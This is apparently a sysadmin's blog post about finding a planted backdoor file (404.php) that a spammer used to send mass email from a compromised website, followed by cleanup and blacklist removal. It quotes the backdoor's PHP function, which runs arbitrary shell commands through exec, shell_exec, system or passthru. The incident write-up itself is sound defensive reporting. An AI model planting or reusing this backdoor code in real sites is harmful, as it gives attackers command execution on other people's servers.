Category: sysadmin

It was the first working day after Chinese New Year. I arrived in office and did the usual morning routine. What I didn’t anticipate was the 10000 emails waiting for me in my INBOX. And the number kept rising.

Not exactly the most auspicious start to the new year. Most of them had the subject “Undelivered Mail Returned to Sender”. I thought it was just the usual case of someone faking the sender email using our domain but upon closer inspection, it turns out to be much worse than expected.

A lot of the email headers had the following line:
X-PHP-Originating-Script: 1028:404.php(173) : eval()'d code(1) : eval()'d code

After some digging, I found the offending 404.php, which contains code like this:

function execute($c){
if(function_exists('exec')){
@exec($c, $out);
return @implode("\n", $out);
}elseif(function_exists('shell_exec')){
$out = @shell_exec($c);
return $out;
}elseif(function_exists('system')){
@ob_start();
@system($c, $ret);
$out = @ob_get_contents();
@ob_end_clean();
return $out;
}elseif(function_exists('passthru')){
@ob_start();
@passthru($c, $ret);
$out = @ob_get_contents();
@ob_end_clean();
return $out;
}else{
return FALSE;
}
}

It’s clearly a backdoor. One of our website had been compromised. And it was being used to send out large amount of spam.

The reason for those 10000 bounced emails is due to the fact that many of the emails used by spammers are simply invalid or not in use anymore. The recipient’s email server is usually kind enough to notify the sender – in this case us – of this. This also means that the actual number of spam emails sent out is much higher than 10000.

I wasted no time to hunt down the offending 404.php and remove it. Subsequent actions were more tricky. In any site compromise, determining the cause of compromise is imperative to prevent future attempts. The initial suspicion was WordPress theme vulnerability, but Googling didn’t turn up anything unusual. Maybe a 0-day? After eliminating a few possible causes and not finding any, I went on to the more urgent task of purging the email queue and checking if we were blacklisted by any spam database. You see, the cat-and-mouse game of spam detection has evolved to a point where a sysadmin must decide what mix bag of spam prevention techniques to use. One of them includes using a spam database lookup service. Being in one is no good, ‘cos it means legitimate emails originating from your server will have a higher chance of being marked as spam. True enough, we were blacklisted by one service provider. Fotunately a review request quickly allowed us to be removed from being blacklisted.

After hitting a few real 404s, the attacker gave up and the spam stopped, thereby drawing a close to the episode. Or so I thought.